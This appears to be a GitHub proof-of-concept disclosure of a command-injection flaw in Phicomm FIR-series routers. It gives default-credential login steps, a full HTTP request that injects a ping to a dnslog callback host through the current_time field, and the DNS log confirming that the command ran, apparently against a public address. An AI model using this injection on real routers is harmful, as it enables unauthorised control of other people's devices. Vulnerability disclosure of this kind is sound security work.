

main ▾

...

Phicomm_Router / Time.md



SLoSnow9879 Create Time.md

[History](#)

1 contributor

14 lines (9 sloc) | 824 Bytes

...

The FIR151B A2, FIR302E A2, FIR303B A2 and so on routers has remote command execution

1. Login feixun FIR303B A2 router by default password admin /admin
2. Find the system tool → Time management → Current time. There is remote command execution at this argument.

3. Click Save button.

4. Use burpsuite intercept and change current_time argument to `ping -c 2 qwer.r4y19h.dnslog.cn`, forward this request

```
1 POST /management.cgi HTTP/1.1
2 Host: 82.76.164.145:30005
3 Content-Length: 165
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://82.76.164.145:30005
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=h3;q=0.9
10 Referer: http://82.76.164.145:30005/syaHtp.html
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Connection: close
14
15 action_mode=apply&next_page=syaHtp.html&current_page=syaHtp.html&current_time="ping -c 2 qwer.r4y19h.dnslog.cn"&ntpcurrenttime=Tue%20+26+Jul+2022+04%3A58%3A20&time_zone=CUT0&ntp_server=time.nist.gov
```

5. See the dnslog results. The command has been executed successfully.



Get SubDomain

Refresh Record

r4y19h.dnslog.cn

DNS Query Record	IP Address	Created Time
qwer.r4y19h.dnslog.cn	82.76.252.74	2022-07-26 12:58:07